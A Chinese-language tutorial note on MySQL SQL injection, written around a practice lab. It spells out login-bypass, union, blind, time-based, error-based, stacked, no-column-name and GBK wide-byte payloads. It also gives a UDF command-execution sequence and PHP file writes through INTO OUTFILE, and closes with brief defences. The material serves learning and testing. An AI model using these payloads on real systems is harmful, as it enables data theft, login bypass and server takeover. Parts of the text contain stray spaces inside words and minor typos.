SQL 注入
约 5906 个字 44 行代码 预计阅读时间 20 分钟
Note
目前只有关于 mysql 的注入,期待补充
关于靶场搭建
-
php 版本问题
PHP 版本不兼容的缘故,可以通过把 PHP 版本换到 5.x 版本解决,经过尝试最优选择应该是 5.4.45 版本 因为PHP5.x版本时,php连接Mysql数据库会使用
mysql_connect()连接,PHP7.x版本连接数据库会使用mysqli_connect()连接,而GitHub上的源码最近更新已经是五年前了,所以对PHP高版本会出现不兼容的情况。关于将
magic_quotes_gpc改为off(开启magic_quotes_gpc=on之后,相当于使用addslshes()这个函数,会在单引号前加反斜线注释)以避免单引号被自动加反斜线(/)注释掉的问题,也可以通过换 php 版本来解决 -
mysql 版本问题
经测试低版本在查表时会出错,故直接使用最新版本即 8.0.12 版本即可
-
关于配置文件的问题
下面这篇博客里收录一些常见问题,里面的坑全都踩过一遍 https://blog.csdn.net/qq_43968080/article/details/103613087
-
80 端口被占用问题
这个问题可能属于个别现象,但是困扰我很久,于是在此也记录下来
第一类:被 system 占用,参考 https:// www.cnblogs.com/selier/p/9514426.html https://blog.csdn.net/weixin_44248000/article/details/103432778
第二类:被 httpd.exe 占用,参考 https://blog.csdn.net/speedwaycl/article/details/49023223 一个未经尝试的解决办法https://www.cnblogs.com/starksoft/p/9131665.html
Mysql
原理及基本思路
原理
学习前建议先了解基础的 mysql 语言
当我们访问动态网页时 , Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。 这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句;当用户使用 sql 查询语句时没有遵循代码与数据分离,输入的数据就会被当作代码执行
思路
判断是否存在 sql 注入
判断方法:
-
id 后加单引号,根据错误提示获取信息(字符型注入)
原理是单引号成功被数据库解析,而无论字符型还是整型都会因为单引号个数不匹配而报错(无报错并不代表不存在 sql 注入漏洞,因为页面可能对单引号作了过滤,这时可以考虑使用判断语句进行注入)
例如
id=1' order by 1%23页面回显的 sql 语句是
SELECT * FROM users WHERE id='1' order by 1#'LIMIT0,1由于
#后面的语句都会被注释掉,所以真正执行的语句是SELECT * FROM users WHERE id='1' order by 1此处
%23即为 url 编码中的#,在 mysql 中#的作用是注释符(--+;--;#;均为注释符号) -
1=1、1=2测试法,流程如下(数字型注入)①
url?id=1②url?id=1 ;and 1=1③url?id=1 ;and 1=2存在注入漏洞的表现 :
原理是 : 判断原网址是否对输入信息有过滤
① 正常显示;② 正常显示,内容基本与①相同;③ 提示
BOF或EOF(程序没做任何判断时) 、或提示找不到记录(判断了 rs.eof 时) 、或显示内容为空(程序加了on error resume next)不存在的表现:
①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。
还可以使用特定函数来判断,比如输入
1 and version()>0,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是 MySQL 特有的函数,因此可以推断后台数据库为 MySQL。数字型注入常用总结
tips
数字型注入时,可以不用逻辑运算,用数字运算。
+-*/divmod
漏洞利用手法
-
利用 Sql 漏洞绕过登录验证
利用注释符 # 和 1=1 的恒成立来绕过登陆验证
一般情况下弱类型密码是很难手动爆破的,例如 123
但是若存在 sql 漏洞,在用户名中输入
123' or 1=1 #, 密码输入123' or 1=1 #(也可空白) ,则可以验证成功实际执行的语句是:
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'按照 Mysql 语法,# 后面的内容会被忽略,所以实际执行的语句如下
select * from users where username='123' or 1=1在用户名中输入
123' or '1'='1, 密码输入123' or '1'='1(不加单引号会造成语法错误) ,实际执行语句如下select * from users where username='123' or '1'='1' and password='123' or '1'='1or 条件使 and 两端验证结果有一个成立即可都成立,从而绕过验证,无需使用注释符
-
自带函数来探测显位
system_user() //系统用户名 user() //用户名 current_user //当前用户名 session_user() //连接数据库的用户名 database() //数据库名 version() //MYSQL数据库版本 @@datadir //读取数据库路径 @@basedir //MYSQL 安装路径 @@version_compile_os //操作系统 -
空格和注释
http 中
%20+都是空格mysql 中
%09%0A%0B%0C%0D都是空白符,效果和%20一样,linux 可能还支持%A0特殊符号,注释,也可以当
select user() # 被注释的内容 select user() -- 被注释的内容 select/*被注释的内容*/user() /*!50000Select*/user()其中
/*!50000Select*/user()为内联注释当 mysql 版本号 ≥ 5.00.00:注释内容会被执行,相当于
Select user()小于的时候不会执行
注释也可以嵌套使用
select/*adsafsadf/*asfdasf*/user() select user()/*!50000union/*!50000select*/database() -
运算符
and 为逻辑运算符,可被
orxornot代替,同时and=&&or=||xor=^not=!select * from user where not(0=1); -
文件读取导出
outfile和dumpfile,必须 root,必须开启
secure_file_priv,必须有绝对路径,必须拼接在select最后,必须可以使用单引号。如果无法控制查询最终内容,outfile可拼接如下 4 个。lines terminated bylines starting byfields terminated bycolumns terminated byselect * from user where id=1 union select 1,'<?php phpinfo();>',3,4 into dumpfile '/home/1.php' select * from user where id =1 order by 1 limit 0,1 into outfile '/home/1.php' lines terminated by '<?php phpinfo();>'load_file, 必须 root,必须开启
secure_file_priv,必须有绝对路径bypass 单引号
-
高版本的一些 tips
在 mysql5.7 版本,新增了 sys 公共库,使得我们可以在
information被过滤了之后使用 sys 库里的一些表来查询库和表SELECT table_schema FROM sys.schema_table_statistics GROUP BY table_schema; SELECT table_schema FROM sys.x$schema_flattened_keys GROUP BY table_schema; SELECT table_name FROM sys.schema_table_statistics WHERE table_schema='test' GROUP BY table_name; SELECT table_name FROM sys.x$schema_flattened_keys WHERE table_schema='test' GROUP BY table_name;mysql8.0.21 之后,增加
table和information_schema.TABLESPACES_EXTENSIONS增加
values -
log 写入 shell
-
udf 提权
select @@basedir; show variables like '%plugins%'; create function cmdshell returns string soname 'udf.dll'; select cmdshell('whoami'); select * from mysql.func; delete from mysql.func where name='cmdshell';加载恶意
udf.so/udf.dll也可以用来执行系统命令 -
mysql_fake_sever 后续其他补充其他知识点后补充
其他实用语句
-
ORDER BY语句的简单应用ORDER BY语句用于根据指定的列对结果集进行排序。在 1' 判断的例子中,
order by语句用于猜解字段数和列数,若不存在则会回显出错1' order by n--+,n 为指定列ORDER BY语句默认按照升序对记录进行排序,如果希望按照降序对记录进行排序,可以使用DESC关键字,例如以字母顺序显示公司名称(Company)
SELECT Company, OrderNumber FROM Orders ORDER BY Company以逆字母顺序显示公司名称
SELECT Company, OrderNumber FROM Orders ORDER BY Company DESC -
INSERT INTO语句,用于向表中插入新的行或列-
INSERT INTO 表名称 VALUES (值1, 值2,.... -
INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)
-
-
SQL UPDATE语句,用于修改表中数据UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
-
DELETE语句,用于删除表中的行DELETE FROM 表名称 WHERE 列名称 = 值
可以在不删除表的情况下删除所有的行,同时保持表的结构、属性和索引完整
DELETE FROM table_nameDELETE * FROM table_name
星号(*)是选取所有列的快捷方式。
SQL 通配符
在搜索数据库中的数据时,SQL 通配符可以替代一个或多个字符。
在 SQL 中,可使用以下通配符:
通配符 描述 % 代表零个或多个字符 _ 仅替代一个字符 [charlist] 字符列中的任何单一字符 [^charlist]或者[!charlist] 不在字符列中的任何单一字符
SELECT * FROM 表名 WHERE 列名 LIKE '[ ]'
在 [ ] 中,可利用通配符查找与指定值(例如 123)相关的数据
123%以 123 开头的数据;%123%包含 123 的数据;_123第一个字符后是 123 的数据,同理1_2_3
其他常见注入方法
union联合查询
通过 union 和前面一条 SQL 语句拼接 , 并构造其列数与前面的 SQL 语句列数相同
例如:select 1,2,3 from table_name1 union select 4,5,6 from table_name2;
原查询的列数为 1,2,3 共三列,union select的列数也要为三个 即 4,5,6,实际可以替换为4,database(),user()
一些常用的联合查询语句
1' union select database(),user()# 这里要求原查询的列数为 2
-
database()将会返回当前网站所使用的数据库名字 . -
user()将会返回执行当前查询的用户名 .
1' union select version(),@@version_compile_os#
-
version()获取当前数据库版本 . -
@@version_compile_os获取当前操作系统
1' union select table_name,table_schema from information_schema.tables where table_schema= '[ ]'#
通过此语句可以查询到指定库内的所有表和表名,最后的方框中填入想要查询的数据库名即可
information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息 , 如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
-1' union select 1,2,(concat_ws(char(),user(),version(),database()))%23
能够获取当前数据库的库名,版本和连接用户,其中concat_ws()函数的作用是从数据库里取 n 个字段组合到一起并用符号分割显示,char()能够将十进制 ASCII 码转换为字符,%23 为 url 编码中的 #
-
group_concat()与concat_ws()的区别是前者将列组合显示,后者将行组合显示 -
information_schema:表示所有信息,包括库、表、列 -
information_schema.tables:记录所有表名信息的表 -
information_schema.columns:记录所有列名信息的表 -
table_schema:数据库的名称 -
table_name: 表名 -
column_name: 列名 -
group_concat(): 显示所有查询到的数据
tips
union select可用union all select / union distinct select / union distinctrow select代替
order by 可用group by代替
布尔盲注
布尔盲注一般适用于页面没有回显字段 (不支持联合查询), 且we b 页面返回True 或者 false,构 造SQ L 语句,利用 and,or 等关键字来其后的语句 true 、 false 使we b 页面返 回tru e 或者 false,从而达到注入的目的来获取信息
ascii() 函数,返回字符ascii码值
参数 : str单字符
length() 函数,返回字符串的长度
参数 : str 字符串
left() 函数,返回从左至右截取固定长度的字符串
参数str,length
str : 字符串
length:截取长度
substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串
参数,str,pos,length
str: 字符串
pos:开始位置
length: 截取长度
注入流程
一般为
点击展 开 / 收起
(1)求当前数据库长度
(2)求当前数据库表的 ASCII
(3)求当前数据库中表的个数
(4)求当前数据库中其中一个表名的长度
(5)求当前数据库中其中一个表名的 ASCII
(6)求列名的数量
(7)求列名的长度
(8)求列名的 ASCII
(9)求字段的数量
(10)求字段内容的长度
(11)求字段内容对应的 ASCII
步骤非常繁琐,当然大家都不手注
相 关sq l 语句
点击展 开 / 收起
求当前数据库的长度
思路:利用length或者substr函数来完成
length函数
- str 返回字符串的长度
substr函数
- str 字符串
- pos 截取字符串开始位置
length 截取字符的长度
length 函数返回长度,例 如 8 是当前数据 库'security ' 的长度
SELECT * from users WHERE id = 1 and (length(database())=8)
- 也可以使用
>、<符号来进一步缩小范围
SELECT * from users WHERE id = 1 and (length(database())>8)
- 当长度正确就页面就显示正常,其余页面则显示错误
substr函数
在构 造SQ L 语句之时,and 后面如果跟着一个大 于 0 的数,那 么SQ L 语句正确执行,所以利用此特性,使用substr截取字符,当截取的字符不存在,再通过ascii函数处理之后将会变成 false,页面将回显错误
substr返回子字符串- 8 是当前数据 库'security ' 的长度 ,从 第 8 个开始, 取 1 位,则是 'y'
- 如 果po s 为9 那么开始位置大于字符串长度,ascii 函数处理后将变成 false
- and 后只要不 为 0, 页面都会返回正常
SELECT * from users WHERE id = 1 and ascii(substr(database(),8,1))
求当前数据库名
思路:利用left 函数,从左至右截取字符串
截取字符判断字符的ascii码,从而确定字符
-- 从左至右截取一个字符
SELECT * from users WHERE id = 1 and (left(database(),1)='s')
-- 从左至右截取两个字符
SELECT * from users WHERE id = 1 and (left(database(),2)='se')
SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),1,1)) = 115)
SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),2,1)) = 101)
使用>,< 符号来比较查找,找到一个范围,最后再确定
求当前数据库存在的表的数量
SELECT * from users WHERE id = 1 AND
(select count(table_name) from information_schema.`TABLES`; where table_schema = database()) = 4
求当前数据库表的表名长度
- length
SELECT * from users WHERE id = 1 AND (LENGTH((select table_name from information_schema.`TABLES` where table_schema = database() LIMIT 0,1))) = 6
- substr
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),6,1))
求表名
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),1,1)) = 101
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),2,1)) = 109
求指定表中列的数量
SELECT * from users WHERE id = 1 AND (select count(column_name) from information_schema.columns where table_name = "users") = 3
求指定表中列的长度
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select column_name from information_schema.columns where table_name = "users" limit 0,1),2,1))
求指定表中的列名
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select column_name from information_schema.columns where table_name = "users" limit 0,1),1,1)) = 105
求指定表中某字段的数量
SELECT * from users WHERE id = 1 AND (select count(username) from users) = 13
求字段长度
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select username from users limit 0,1),4,1))
求字段名
SELECT * from users WHERE id = 1 and ASCII(SUBSTR((select username from users limit 0,1),1,1)) = 68
时间盲注
时间盲注又称延迟注入,是一种盲注的手 法, 提交对执行时间敏感的函 数sq l 语句,通过执行时间的长短来判断是否执行成功,比 如 : 正确的话会导致时间很长,错误的话会导致执行时间很短。SQLMAP、穿山甲、胡萝卜等主流注入工具可能检测不出,只能手工检测,或利用脚本程序跑出结果。
时间盲注主要用到sleep()函数,除此之外还有benchmark()
时间盲注比布尔盲注难度稍高 ,关键在于不论你怎么输入就是不报错
时间盲注 的sq l 语句很好理解,如
sleep(seconds)
- seconds: sleep 的秒数
id= 1’ or sleep(3) %23
如果这个时候直接服务器过了三秒才反应,那么就存在时间注入
也可以添 加i f 语句,控 制i f 第一个参数
id= 1’ or if(1,sleep(3),0) %23
如果某一个条件正确就延迟三秒,如果错误就返 回0 ( 也就 是i f 第一个参数为 1)
具体的注入语句示例如下
id= 1’ or if((select table_name from information_schema.tables where table_schema=database() limit 0,1),sleep(3),0) %23
benchmark(count, expr)
- count: 执行次数(必须为正整数)
- expr: 要重复执行的表达式(通常是一个计算密集型操作)
MySQL 会计 算 expr 指定的表达 式 count 次,返回结果始终是 0
select if(1=1,benchmark(10000000,md5('test')),0)
如果条件为真,则执行大量计算导致延迟;为假则立即返回。
例如探测数据库名长度
select if(length(database())=8, benchmark(10000000,md5('test')), 0)
后面的盲注过程与布尔盲注类似
多表information_schema查询
(select count(*) from information_schema.columns A,
information_schema.columns B, information_schema.columns C)
笛卡尔积查询:
对information_schema.columns自连 接 3 次 , 产生巨大临时 表 , 起到延时作用
tips
盲注时,可以用比较运算符
= <> != % between not between in not in LIKE REGEXP RLIKE
select user()%sleep(1)
(select ascii(substr((select user()),1,1)))=114
select ascii(substr((select user()),1,1)) between 113 and 115 #在范围里
select ascii(substr((select user()),1,1)) in (113,114,115) # 在集合中
select user() like 'root%' #模式匹配
select user() regexp 0x5E726F6F5B612D7A5D # 0x5E726F6F5B612D7A5D=^roo[a-z] 正则匹配
也可以用字符串比较函数
无select,只能注同表的列
堆叠注入
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理:mysql_multi_query() 支持多 条sq l 语句同时执行,语句间以分号(;)分 隔 , 在 ; 结束一 个sq l 语句后继续构造下一条语句,两条语句会一起执行,这就是堆叠注入。
但在实际场景中为了防 止sq l 注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以堆叠注入的使用条件十分有限
其与联合注入的相同点在于是将两条语句合并在一起,而区别是union 或者union all执行的语句类型是有限的,常见的是用来执行查询语句,而堆叠注入可以执行的是任意的语句。在字符长度限制范围内,堆叠注入可以执行多条语句
在过滤了 select 和 where 的情况下,还可以使用 show来爆出数据库名,表名,和列名。
-
show
show datebases; //数据库。 show tables; //表名。 show columns from table; //字段。 -
alert
作用:修改已知表的列
用法:
- 添加一个列
alter table " table_name" add " column_name" type;
- 删除一个列
alter table " table_name" drop " column_name" type;
- 改变列的数据类型
alter table " table_name" alter column " column_name" type;
- 改列名
alter table " table_name" change " column1" " column2" type;
alter table "table_name" rename "column1" to "column2";
tips
无 select
无列名注入
其实是针对information_schema 库被过滤的情况,导致不能直接读取列名
那么就需要用到其他库来注 入, 例 如: sys.schema_auto_increment_columns , sys.schema_table_statistics_with_buffer , mysql.innodb_table_stats等等
但是这些表都不能获得列名 等, 只能获得表名,从而引出的无列名注入
主要目的是:获取列名,从而进行正常的注入
子查询派生表
原理
无列名注入的原理是通过子查询连接查询两个相同的 表, 数据库会建立一个虚拟 表, 将两个表的查询数据放 入, 当放入一个虚拟表中已有的列名时就会报错
操作
例如:select * from (select * from users u1 join users u2) a;
会产生派生 表a , 如果users中存在列名id就会报错
Duplicate column name 'id'
然后通过 using 来排除列 名 id , 继续爆出其他的列名
using 会自动合并两个表中的相同列名
select * from (select * from users u1 join users u2 using(id)) a;
以此类推,可以爆出所有的表名
union 派生表
原理
通过虚拟派生表的数字列名,来代替原有的列名
操作
通 过unio n 查询,需猜测列数,假设这里 为 5 列
select 1,2,3,4,5 union select * from table;
会 把tabl e 的数据存放到一个虚拟表中,同时为五个列设置别名 1,2,3,4,5。
这时我们就可以通过别名 1,2,3,4,5 来代替列名,相当于列名被替换成了数字
进一步查询
select 2 from (select 1,2,3,4,5 union select * from table)a;
一些 tips
在数据库查 询bypas s 过滤 `
php 端不需要 ``,但是在数据库中表名需要 用` ` 来包 裹 , 如 `table`
这时select 2 from (select 1,2,3,4,5 union select * from `table`)a;
查询不出来数据(MySQL 5.7+ 已经支持数字作为列名了
如下才可以
select `2` from (select 1,2,3,4,5 union select * from `table`)a;
当为列名过 滤` ` 时,可以再次使用派生表别名来 bypass
为派生 表 a 的数字列 名 2 设置别 名b , 通 过 b 查询列名不再需要 ``
select b from (select 1,2 as b,3,4 as c,5 as d union select * from table) a
同时查询多个列
select concat(b,0x2d,c) from (select 1,2 as b,3 as c,4,5 union select * from `table`)a;
0x2d是-,相当于查 询2- 3 的列
异或注入
异或注入的原理是通过强制类型转化报错的错误信息来获取信息。
mysql 里异或运算符为^ 或者 xor,这里的异或注入主要利用^
两者的区别在于 ^运算符做位异或运算 如1^2=3
而 xor做逻辑运算 1 xor 0 会输出 1,其他情况输出其他所有数据
xor 的作用包括但不限于绕过敏感词过滤、判断过滤内容和直接进行盲注利用
于 是payloa d 可以写成
a' ^ extractvalue(1,concat('~',(select(database()))))#
同理updatexml()函数也可以,用法相同
^ 运算符
原理
^ :要求两边都是数字,所以extractvalue()一定会执行(它需要先求值才能参与异或运算
extractvalue(1,concat('~',(select(database()))))
- extractvalue(): 这是 是 MySQL 的 XML 处理函数
- 第一个参 数
1: 1 是一个 伪 XML 文档 - 第二个参 数
concat(): 使 用 concat() 构建一个无效 的 XPath 表达式
当被注入后extractvalue()被执行
会生成一个无效 的 XPath 表达式(如 ~database_name)
MySQL 会返回一个错误信息,错误信息中会包含数据库名:
XPATH syntax error: '~database_name'
同理
[] 中 的nam e 替换为实 际nam e 即可
表名:a'^extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('[database_name]'))))
列名:a'^extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('[table_name]'))))
字段:a'^extractvalue(1,concat('~',(select(group_concat([column_name]))from([database_nam].[table_name]))))
tips:针对长度过滤限制
利用right()函数,和left()函数
若一个不行就同时使用
a'^extractvalue(1,concat('~',(select(right([column_name],30))from([database_nam].[table_name]))))
获取左边:
a'or(updatexml("~",concat("~",(select(group_concat(left([column_name],25)))from([database_nam].[table_name]))),"~"))
获取右边:
a'or(updatexml("~",concat("~",(select(group_concat(right([column_name],25)))from([database_nam].[table_name]))),"~"))
宽字节注入
基础概念
宽字节是相对 于asci i 这样单字节而言的; GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是宽字节,实际上只有两字节
这里所说的宽字节注入,其实是为了绕过转义函数(为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义)
Mysql 中转义的函数有addslashes,mysql_real_escape_string,mysql_escape_string 等
sql 的执行过程
这里讲一 下sq l 的执行过程中字符的变化
以ph p 为例,当用户输入数据之后,php 根据默认编码生 成sq l 语句发送给服务器,没有设置default_charset的时候,php 会根据数据库中的编码自动来确定使用那种编码
判断方式
服务器接收到请求后会把客户端编码的字符串转换成连接层编码字符串
具体流程是先使用系统变量
character_set_client对 SQL 语句进行解码后,然后使用 系统变量character_set_connection对解码后的十六进制进行编码(默认都 是gb k 编码)
进行内部操作前,按照如下规则转化请求为内部操作字符集
使用字段 `CHARACTER SET` 设定值
若上述值不存在,使用对应数据表的`DEFAULT CHARACTER SET`设定值
若上述值不存在,则使用对应数据库的`DEFAULT CHARACTER SET`设定值
若上述值不存在,则使用`character_set_server`设定值(默认gbk编码)
执行 完 SQL 语句之后,将执行结果按照 character_set_results 编码进行输出。
原理
宽字节注入指的 是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一 个asci i 码要大于 128(比如 %df
宽字节注入发生的位置就是
PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码,
然后服务器会根据character_set_connection把请求进行转码,从character_set_client转成character_set_connection,
然后更新到数据库的时候,再转化成字段所对应的编码
addslashes()
当使用addslashes()转义特殊字符的时候,会 把 ' 即%27转义成 \',即%5c%27
此时输 入1' 此时 的sq l 语句为
select * from tables where id = '1 \''
可以构造特殊字 符 %df%27 , 转义后 为 %df%5c%27 ,mysq l 会把%df%5c识别成宽字节转化成汉字運
数据变化过程
%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運'
用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql
从而使输入%df%27转化成了運'导 致sq l 语句被闭合
输入%df' --'即可 使 ' 逃逸同时注释后面的 ',这样就可以构造注入语句了
此时 的sq l 语句
select * from tables where id = '1 運' --\''
iconv()
为了避免宽字节注 入 , 使 用icon v 函数(能够完成各种字符集间的转换)
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$id = iconv('utf-8', 'gbk', $id); # 由utf-8 –> gbk
可以使用逆向思维,先找一 个gb k 的汉字 錦 , 錦 的utf- 8 编码是0xe98ca6,它 的gb k 编码是0xe55c ,
当传入的值是錦','通过addslashes转义为\' (%5c%27)
錦通过icov转换为%e5%5c,最终錦'变为 了 %e5%5c%5c%27 , 不难看出%5c%5c正好把反斜杠转义,使单引号逃逸,造成注入
字符变化
錦%27===>(addslashes)====>錦%5c%27====>(iconv)====>%e5%5c%5c%27====>錦'====>錦'
用户输入===>过滤函数===>代码层的$sql===>转换函数===>代码层的$sql===>mysql处理请求===>mysql中的sql
这里在经过icov()函数转化后,已经 是gb k 编码了,原来的只有addslashes()时,mysql 处理的 是asci i 单字节字符(宽字节注入的总结:传入是单字节,传出是双字节%e5%5c%5c%27已经 为gb k 编码即錦'
防护
使用mysql_set_charset(GBK)指定字符集
SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary
使用mysql_real_escape_string进行转义
mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集(使用mysql_set_charset指定字符集),不会出现前面的df和5c拼接为一个宽字节的问题
以上两个条件需要同时满足才行,缺一不可。
SqlSever
挖坑